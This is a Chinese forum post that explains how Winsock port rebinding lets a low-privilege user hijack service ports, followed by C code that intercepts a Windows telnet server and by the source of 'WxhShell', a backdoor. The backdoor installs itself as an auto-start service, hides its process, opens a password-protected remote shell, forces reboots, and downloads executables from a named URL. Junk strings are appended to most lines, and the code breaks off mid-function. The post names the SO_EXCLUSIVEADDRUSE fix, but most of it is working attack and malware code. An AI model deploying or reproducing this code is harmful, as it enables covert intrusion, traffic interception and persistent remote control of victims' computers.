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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %|j`z?i|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s|IY t^  
v|\3FEu@  
  saddr.sin_family = AF_INET; :^7>kJ5?  
ttOk6-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~=va<%{ U  
;NU-\<Q{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `6$|d,m5  
)Zf1%h~0r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0vX4v)-^u  
7UIf   
  这意味着什么?意味着可以进行如下的攻击: {Y-~7@  
`+z^#3l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A]Bf&+V  
Jvc:)I1NE7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  bTU[E  
vAp<Muj(a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <qg4Rz\c]  
J 2<kOXXJ9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ijsoY\V50  
IjGPiC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pHT]2e#  
sYjhQN=Y*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3xT9/8*  
.G.WPVE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '2GnAws^  
^/_Yk.w  
  #include /~M H]Gh  
  #include 4-~Z{#-  
  #include &rGB58  
  #include    KL9k9|!p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   KL3Z(  
  int main() ? D _kQl  
  { \yl|*h3  
  WORD wVersionRequested; v3#,Z!  
  DWORD ret; 8Qo'[+4;  
  WSADATA wsaData; 6<EGH*GQ$  
  BOOL val; q`,%L1c4  
  SOCKADDR_IN saddr; [Ur\^wS  
  SOCKADDR_IN scaddr; Y{D%v  
  int err; ~w a6S?  
  SOCKET s; Q F)\\ D[  
  SOCKET sc; P#O2MiG  
  int caddsize; f(Y_<%  
  HANDLE mt; /a'1 W/^2  
  DWORD tid;   N0H=;CIQ  
  wVersionRequested = MAKEWORD( 2, 2 ); V"m S$MN  
  err = WSAStartup( wVersionRequested, &wsaData ); &\1n=y  
  if ( err != 0 ) { Jy5sZ }t[  
  printf("error!WSAStartup failed!\n"); Dn6U8s&  
  return -1; 2 /FQ;<L  
  } (J[Xryub  
  saddr.sin_family = AF_INET; lDTHK2f  
   -QroT`gy  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3V<@ Vkf5  
12a`,~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yL*]_  
  saddr.sin_port = htons(23); s'h;a5Q1'Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =hkYQq`Q  
  { '`3#FCg  
  printf("error!socket failed!\n"); @@)2 12  
  return -1; 1>"-!ADm  
  } !bP%\)5  
  val = TRUE; "!~o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &E_a0*)e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )P$|9<_q7x  
  { tO&ffZP8$  
  printf("error!setsockopt failed!\n"); v8)"skVnFG  
  return -1; fC[za,PXaE  
  } t N{S;)q#X  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Gq^vto  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N ~{N Nf Y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H_X^)\oJ  
B1V{3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ovdJ[bO  
  { hbJ>GSoZ,  
  ret=GetLastError(); z5kAf~A  
  printf("error!bind failed!\n"); }5-w,m{8/  
  return -1; nN\H'{Wzd  
  } 9@lWI  
  listen(s,2); KNUK]i&L  
  while(1) m[^lu1\wn  
  { ;f =m+QXU  
  caddsize = sizeof(scaddr); <eoie6@3  
  //接受连接请求 r-<O'^C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dE7S[O  
  if(sc!=INVALID_SOCKET) ^U }k   
  { x@t?7 o\&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z3Q&O$5\  
  if(mt==NULL) .\n` 4A1z  
  { "f,{d}u  
  printf("Thread Creat Failed!\n"); "2l`XH  
  break; $KK~KEZ2  
  } )S caT1I  
  } p+;& Gg54  
  CloseHandle(mt); qhEv6Yxfw6  
  } FQ]/c#J  
  closesocket(s); ?13qDD:  
  WSACleanup(); fSkDD>&  
  return 0; >?, Zn  
  }   `POzwYh  
  DWORD WINAPI ClientThread(LPVOID lpParam) wI$ a1H  
  { {FNkPX  
  SOCKET ss = (SOCKET)lpParam; `Mnu<)v  
  SOCKET sc; rm iOeS`:  
  unsigned char buf[4096]; =~B"8@B  
  SOCKADDR_IN saddr;  lN,?N{6s  
  long num; j]Jgz<  
  DWORD val; BAf$ty h  
  DWORD ret; 8]ZzO(=@{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .T| }rB<c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0zaK&]oY0  
  saddr.sin_family = AF_INET; #c^V %  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *m~-8_ >;  
  saddr.sin_port = htons(23); Vw;Z0_C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [_,as  
  { ~HZdIPcC  
  printf("error!socket failed!\n"); aD^$v  
  return -1; n HseA  
  } 3v/B*M VI  
  val = 100; OT9]{|7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zLpCKndj  
  { K~N$s "Qx  
  ret = GetLastError(); &mwd0%4  
  return -1; E/P~HE{  
  } .ZpOYhk  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i%hCV o  
  { ?sf<cFF  
  ret = GetLastError(); 1E+12{~m"i  
  return -1; g !'R}y  
  } gcJ!_KZK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $[ {5+*  
  { ~r1pO#r-  
  printf("error!socket connect failed!\n"); &Y{^yb  
  closesocket(sc); }LzBo\  
  closesocket(ss); M/zO|-j&  
  return -1; ,_2-Op  
  } Xz$4cI#n:  
  while(1) *'%V}R[>  
  { kT% wt1T4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0MG>77  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5E]t4"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b;k+N`  
  num = recv(ss,buf,4096,0); YW7W6mWspS  
  if(num>0) xa>| k>I  
  send(sc,buf,num,0); =>jp\A  
  else if(num==0) ;]{ee?Q^ld  
  break; B,%Vy!o  
  num = recv(sc,buf,4096,0); dY*q[N/pO  
  if(num>0) [q <'ty  
  send(ss,buf,num,0); kv+%  
  else if(num==0) }qNc `8h  
  break; G t w>R  
  } $Ome]+0  
  closesocket(ss); 2jsbg{QS#_  
  closesocket(sc); *FlPGBjJ  
  return 0 ; <W4F`6`x  
  } $v^hzC  
-@orIwA&  
,YYEn^:>  
========================================================== w5@ 5"M  
YH&=cI@  
下边附上一个代码,,WXhSHELL z/@_?01T=  
}A#IBqf5  
========================================================== g@.$P>Bh  
0> f!S` *  
#include "stdafx.h" h9vcN#22D  
K7 e~%mY  
#include <stdio.h> [a=exK  
#include <string.h> |Splbs k  
#include <windows.h> %opBJ   
#include <winsock2.h> rQ;w{8J\t  
#include <winsvc.h> 5)[~ T2j!  
#include <urlmon.h> f6Qr0Op  
i "8mrWb  
#pragma comment (lib, "Ws2_32.lib") [>=!$>>;8  
#pragma comment (lib, "urlmon.lib") _plK(g-1J%  
-dntV=  
#define MAX_USER   100 // 最大客户端连接数 }z3j7I  
#define BUF_SOCK   200 // sock buffer  g'0CYY  
#define KEY_BUFF   255 // 输入 buffer ^D yw(>9  
>Vuvbo   
#define REBOOT     0   // 重启 x#rgFY,TY  
#define SHUTDOWN   1   // 关机 K_7pr~D]@r  
3EoCEPb#  
#define DEF_PORT   5000 // 监听端口 NvR{S /Z  
Lb*KEF%s  
#define REG_LEN     16   // 注册表键长度 +H)'(<  
#define SVC_LEN     80   // NT服务名长度 Q8p6n  
.Y)[c. ,j  
// 从dll定义API |)-kUu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j8Z,:op  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U1RU2M]v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 91-bz^=xO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Up9{aX  
s#2t\}/  
// wxhshell配置信息 L@}PW)#  
struct WSCFG { 7)66e  
  int ws_port;         // 监听端口 0-2|(9 Kc  
  char ws_passstr[REG_LEN]; // 口令 ,:_c-d#  
  int ws_autoins;       // 安装标记, 1=yes 0=no h$cm:uks  
  char ws_regname[REG_LEN]; // 注册表键名 @6u/)>rI  
  char ws_svcname[REG_LEN]; // 服务名 7|rH9Bc{U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tne_]+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %,>z`D,Hg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h ><Sp*z_V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E$8JrL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mx c)Wm<4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q7%4`_$!  
kfy!T rf  
}; 6Q.S  
.l}Ap7@  
// default Wxhshell configuration H4/wO  
struct WSCFG wscfg={DEF_PORT, _|k$[^ln^  
    "xuhuanlingzhe", \Mf>X\}  
    1, PEMkx"h +  
    "Wxhshell", 9 {4yC9Oz>  
    "Wxhshell", G6SgVaM  
            "WxhShell Service", )rc!irac]  
    "Wrsky Windows CmdShell Service", <p@Cx  
    "Please Input Your Password: ", @d75X YKu  
  1, |tXA$}"L8  
  "http://www.wrsky.com/wxhshell.exe", 4l D$'`  
  "Wxhshell.exe" UaT%tv>}8#  
    }; m[DQ;`Y  
tbrU>KCBD  
// 消息定义模块 tgRj8 @  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o)`PS w=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "c^!LV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c`6c)11K  
char *msg_ws_ext="\n\rExit."; $d?+\r:I{,  
char *msg_ws_end="\n\rQuit."; 6].[z+  
char *msg_ws_boot="\n\rReboot..."; U,P_bz*)  
char *msg_ws_poff="\n\rShutdown..."; k.J%rRneN  
char *msg_ws_down="\n\rSave to "; [4)Oi-_Y>  
b3(* /KgK  
char *msg_ws_err="\n\rErr!"; `L1,JE` q  
char *msg_ws_ok="\n\rOK!"; P_bB{~$4  
i'~-\F!  
char ExeFile[MAX_PATH]; xR7ZqTcw  
int nUser = 0; :]3X Ez  
HANDLE handles[MAX_USER]; Vl^(K_`(  
int OsIsNt; !_I1=yi  
I-#H+\S  
SERVICE_STATUS       serviceStatus; F(")ga$r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hlVye&;b8  
st'T._  
// 函数声明 \#sD`O  
int Install(void); 05UN <l]  
int Uninstall(void); F^!D[:;jK  
int DownloadFile(char *sURL, SOCKET wsh); 3m1g"  
int Boot(int flag); JWVV?~1  
void HideProc(void); JK,MK|  
int GetOsVer(void); #w$Y1bjn  
int Wxhshell(SOCKET wsl); {Jr1K,  
void TalkWithClient(void *cs); _nGx[1G( 5  
int CmdShell(SOCKET sock); qGk+4 yC  
int StartFromService(void); R2bqhSlF  
int StartWxhshell(LPSTR lpCmdLine); bM W|:rn  
F.s$Y+c!6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]8G 'R-8}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }\ _.Mg^y  
yOM/UdWq  
// 数据结构和表定义 ,p2UshOmd  
SERVICE_TABLE_ENTRY DispatchTable[] = Q*M#e  
{ #^FM~5KK  
{wscfg.ws_svcname, NTServiceMain}, ,@$5,rNf  
{NULL, NULL} g[xoS\d  
}; 0uy'Py@2<  
# :+Nr  
// 自我安装 4jT6h9%  
int Install(void) /2^L;#  
{ _~FfG!H ^X  
  char svExeFile[MAX_PATH]; aq,1'~8XR  
  HKEY key; xC76jE4  
  strcpy(svExeFile,ExeFile); '|yxB')  
(P>nA3:UXB  
// 如果是win9x系统,修改注册表设为自启动 <JPN< Kv  
if(!OsIsNt) { cXweg;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,05PYBc3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "1o{mvCkR  
  RegCloseKey(key); 7lC$UQx8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !z?   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MGdzrcF  
  RegCloseKey(key); kBUkE-~  
  return 0; D?Oe";"/  
    } lg^'/8^f  
  } r[9m-#)>  
} v>X!/if<y  
else { EEe$A?a;  
]3r}>/2(  
// 如果是NT以上系统,安装为系统服务 Upz)iOqLi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y4\X~5kU  
if (schSCManager!=0) Y;w|Fvjj+  
{ 44CZl{pt  
  SC_HANDLE schService = CreateService oZ{,IZ45  
  ( HG"ZN)~  
  schSCManager, RhYe=Qh4{p  
  wscfg.ws_svcname, ~DH 9iB  
  wscfg.ws_svcdisp, EKc<|e,F  
  SERVICE_ALL_ACCESS, .jRI $vm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y1r$;;sH  
  SERVICE_AUTO_START, R~<N*En~  
  SERVICE_ERROR_NORMAL, :>-zT[Lcn  
  svExeFile, HwU9 y   
  NULL, E|pT6  
  NULL, S2X@t>u-  
  NULL, 1$cl "d`~  
  NULL, -"-.Z&#  
  NULL ,fjY|ip  
  ); Qt u;_  
  if (schService!=0) ^[hAj>7_8$  
  { =OufafZb  
  CloseServiceHandle(schService); 7cc^n\c?Y  
  CloseServiceHandle(schSCManager); FDo PW~+[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); txEN7!  
  strcat(svExeFile,wscfg.ws_svcname); b'4a;k!rS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @&T' h}|:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {7y;s  
  RegCloseKey(key); \g0vzo"u  
  return 0; 5(~Lr3v0  
    } kBP?_ O  
  } z|s(D<*w  
  CloseServiceHandle(schSCManager); @$slGY  
} &5 7c !)  
} aEf3hB*~  
fW = N  
return 1; p22AH%  
} x,n l PU  
LhG\)>Y%  
// 自我卸载 {S0-y  
int Uninstall(void) |bk9< i ?  
{ ~[=<O s  
  HKEY key; S1|5+PPs  
|JkfAnrN$I  
if(!OsIsNt) { %9YY \a {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "#)|WVa=BM  
  RegDeleteValue(key,wscfg.ws_regname); /xX7:U b  
  RegCloseKey(key); Na@bXcz)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z?P^Y%ls  
  RegDeleteValue(key,wscfg.ws_regname); jCY~Wc  
  RegCloseKey(key); +~n:*\  
  return 0; <NZPLo F  
  } #7;?Ls  
} e5mu-  
} &mX_\w /%  
else { 8K4^05*S   
\.2i?<BC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &JX<)JEB=<  
if (schSCManager!=0) X~IilGL8:  
{ zk<V0NJIL*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); stG +4w  
  if (schService!=0) Cm;cmPPl  
  { y)zZ:lyIq  
  if(DeleteService(schService)!=0) { l/3=o}8q  
  CloseServiceHandle(schService); ^cZ< .d2  
  CloseServiceHandle(schSCManager); ##mZ97>$  
  return 0; RKLE@h7[?  
  } 3$hIc)  
  CloseServiceHandle(schService); s.4+5rE  
  } E6 oC^,ZRy  
  CloseServiceHandle(schSCManager); L#S W!  
} +'8a>K^  
} cr;:5D%_  
Kyx9_2  
return 1; fXWy9 #M  
} %N Q mV_1  
k'r}@-X  
// 从指定url下载文件 yeyDB>#Va.  
int DownloadFile(char *sURL, SOCKET wsh) {.Qv1oOa  
{ 4T@+gy^.  
  HRESULT hr; a~Dk@>+P>  
char seps[]= "/"; `h'+4  
char *token; 0n:cmML )D  
char *file; `M~R4lr  
char myURL[MAX_PATH]; OUWK  
char myFILE[MAX_PATH]; YPx+9^)  
4AN8Sx(  
strcpy(myURL,sURL); xJZaV!N|  
  token=strtok(myURL,seps); UIDeMz  
  while(token!=NULL) yH('Vl  
  { wa<k%_# M  
    file=token; CUJq [  
  token=strtok(NULL,seps); 6y!U68L;B  
  } ~!ooIwNNz  
Q u2 ~wp<  
GetCurrentDirectory(MAX_PATH,myFILE); NsI.mTc2  
strcat(myFILE, "\\"); D?#l8  
strcat(myFILE, file); A6[FH\f  
  send(wsh,myFILE,strlen(myFILE),0); 3IRur,|'  
send(wsh,"...",3,0); OxDq LX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .xqi7vVHZ  
  if(hr==S_OK) nA0%M1a  
return 0; .@fA_8  
else mrr]{K  
return 1; ]I)ofXu]  
W,EIBgR(R5  
} X<5fn+{]S:  
oeg Bk  
// 系统电源模块 dnomnY(*<  
int Boot(int flag) `U|7sLR  
{ Xfg3q.q  
  HANDLE hToken; t Cb34Wpf  
  TOKEN_PRIVILEGES tkp; n UmyPQ~  
c5%}* "z  
  if(OsIsNt) { Gtaa^mnxD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j4,y+ 9U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !Ew ff|v"  
    tkp.PrivilegeCount = 1; p-I J':W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tC|?Kl7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (o*YGYC  
if(flag==REBOOT) { 7d R?70Sz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d4ecF%R  
  return 0; w:lj4Z_  
} A:Wr5`FJ  
else { _cvX$(Sg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MrzD ah9UG  
  return 0; <Q(E {c3"  
} )Zr\W3yWX  
  }  >SQzE  
  else { "a].v 8l!  
if(flag==REBOOT) { N ;=z o-8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y_Fn)(  
  return 0; 6 eryf?  
} PwW$=M{\.  
else { Xk.OyQ@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A:ts_*  
  return 0; =s!0EwDH3  
} Mv%Qze,\V^  
} zc8^#D2y&  
vYm-$KQ"o  
return 1; ~qQZhu"  
} L9O;K$[s  
|` ~ioF  
// win9x进程隐藏模块 O`0r'&n  
void HideProc(void) D2}^TIg  
{ )YgntI@  
3}FZg w .  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >=97~a+.  
  if ( hKernel != NULL ) ;&<N1  
  { la<.B^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _^Q!cB'~/`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S[!6Lw  
    FreeLibrary(hKernel); Dx1(}D  
  } RAl/p9\A+  
?:3hp2k<  
return; n4!RGq.}  
} .iy>N/u  
3v\P6  
// 获取操作系统版本 %JrZMs>  
int GetOsVer(void) }| MX=:@*  
{ f|VCibI  
  OSVERSIONINFO winfo; N#Rb8&G)b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EA(4xj&:U  
  GetVersionEx(&winfo); rl 7up  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7P2n{zd,  
  return 1; f$QkzWvr  
  else i[9yu-  
  return 0; V K6D  
} we[+6Z6J  
D(ItNMc Ku  
// 客户端句柄模块 =s":Mx,o  
int Wxhshell(SOCKET wsl) rlR!Tc>  
{ Fc@R,9  
  SOCKET wsh; 5c3-?u!  
  struct sockaddr_in client; ,2$<Pt;  
  DWORD myID; <4.Exha;=  
! DOyOTR&3  
  while(nUser<MAX_USER) by'KJxl[  
{ beo(7,=&  
  int nSize=sizeof(client); :=y5713  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >I\B_q  
  if(wsh==INVALID_SOCKET) return 1; Q&.uL}R  
0zNbux_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @\w}p E  
if(handles[nUser]==0) {)"[_<  
  closesocket(wsh); V3ozaVk;  
else ]O@iT= *3  
  nUser++; I3.. Yk%7  
  } BeLD`4K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rm=p}  
(a#gCG\  
  return 0; DAb/B  
} r|UJJ9i  
1l$ C3c  
// 关闭 socket %4m Nk}tyH  
void CloseIt(SOCKET wsh) g8uqW1E^  
{ dvjj"F'Bf  
closesocket(wsh); UgAp9$=z  
nUser--; 0]bt}rh  
ExitThread(0); fY9+m}$S$  
} exJc[G&t(  
v^@)&,  
// 客户端请求句柄 H9)n<r  
void TalkWithClient(void *cs) |\Jnr3)  
{ ,:PMS8pS  
@ &N  
  SOCKET wsh=(SOCKET)cs; P6.PjK!Ar  
  char pwd[SVC_LEN]; ldUZ\z(*  
  char cmd[KEY_BUFF]; 8^}/T#l  
char chr[1]; N_bgWQY  
int i,j; Xd%qebK  
~Pw9[ycn3  
  while (nUser < MAX_USER) { :W0p3 6"  
12U]=  
if(wscfg.ws_passstr) { sMGo1pG(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N_NN0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?Vd~  
  //ZeroMemory(pwd,KEY_BUFF); ;Va(l$zD  
      i=0; Q&:)D7m\)S  
  while(i<SVC_LEN) { rQ{|0+l  
zA9q`ePS  
  // 设置超时 C zJ-tEO  
  fd_set FdRead; C33Jzn's  
  struct timeval TimeOut; 4,LS08&gh  
  FD_ZERO(&FdRead); `z'8"s  
  FD_SET(wsh,&FdRead); (|<S%?}J  
  TimeOut.tv_sec=8; fX`u"`o5  
  TimeOut.tv_usec=0; t$nJmfzm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m@XX2l9:9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ISC>]`  
]]:K l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `.J)Z=o  
  pwd=chr[0]; ,5 ka{Q`K  
  if(chr[0]==0xd || chr[0]==0xa) { ((A@VcX  
  pwd=0; 0a89<yX  
  break; "O>~osj  
  } g)czJ=T2  
  i++; \JM6zR^Ef  
    } m8F$h-  
[T_[QU:A  
  // 如果是非法用户,关闭 socket aeUgr !  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6d]4 %QT  
} a%Q`R;W  
c qCNk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ):PN0.H8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xF!IT"5D  
6"G(Iq'2t3  
while(1) { "L]v:lg3  
]Ik~TW&  
  ZeroMemory(cmd,KEY_BUFF); }&=l)\e  
OU%"dmSDk  
      // 自动支持客户端 telnet标准   g/.FJ-I*  
  j=0; M}o.= Iqa  
  while(j<KEY_BUFF) { Ld*Ds!*'/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #a=]h}&1?  
  cmd[j]=chr[0]; *,G< X^  
  if(chr[0]==0xa || chr[0]==0xd) { [Ix6ArY  
  cmd[j]=0; f?. VVlD  
  break; KX~ uE6rX  
  } RL4|!HzR  
  j++;  Culv/  
    } >P j#?j*Y  
6<W^T9}v@/  
  // 下载文件 h>!h|Ma  
  if(strstr(cmd,"http://")) { :epBd3f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A x8>  
  if(DownloadFile(cmd,wsh)) >I@&"&d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e">&B]#}  
  else ]\fHc"/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pP.`+vPi  
  } (9]1p;  
  else { $O\m~r4  
ThX3@o  
    switch(cmd[0]) { 9ad)=3A&L  
  1oO(;--u_  
  // 帮助 ;U4O` pZ  
  case '?': { uxxk&+M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [,Rc&7p~R  
    break; x} =,'Ko}3  
  } wp}Q4I  
  // 安装 ys[xR=nbD  
  case 'i': { ]mtiIu[  
    if(Install()) ~s&r.6 DW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S Yi!%  
    else ^ulgZ2BQ|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /95z1e  
    break; !QVhP+l'H  
    } ).jQ+XE'>  
  // 卸载 !:\0}w$-  
  case 'r': { Vyi.:lL _8  
    if(Uninstall()) w%`S>+kX&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); spP[S"gI  
    else | t:UpP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uSXnf  
    break; RDSC@3%  
    } b&yuy  
  // 显示 wxhshell 所在路径 8OOAPp$%|  
  case 'p': { '~ B2[  
    char svExeFile[MAX_PATH]; vWmt<E|e  
    strcpy(svExeFile,"\n\r"); K@n-#  
      strcat(svExeFile,ExeFile); ugN%8N  
        send(wsh,svExeFile,strlen(svExeFile),0); 02EX_tt),  
    break; Yz2N(g[  
    } =A,T:!}'  
  // 重启 L=;T$4+p  
  case 'b': { FUSe!f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nL^7t7mp  
    if(Boot(REBOOT)) `%[m%Y9h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c86?-u')  
    else { <=|^\r !}&  
    closesocket(wsh); /Zs_G=\>  
    ExitThread(0); p}==aNZK  
    } "a;$uW@.6  
    break; 7@ONCG  
    } j9c:SP5  
  // 关机 q<.k:v&  
  case 'd': { U^[AW$WzU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i;~.kgtq4  
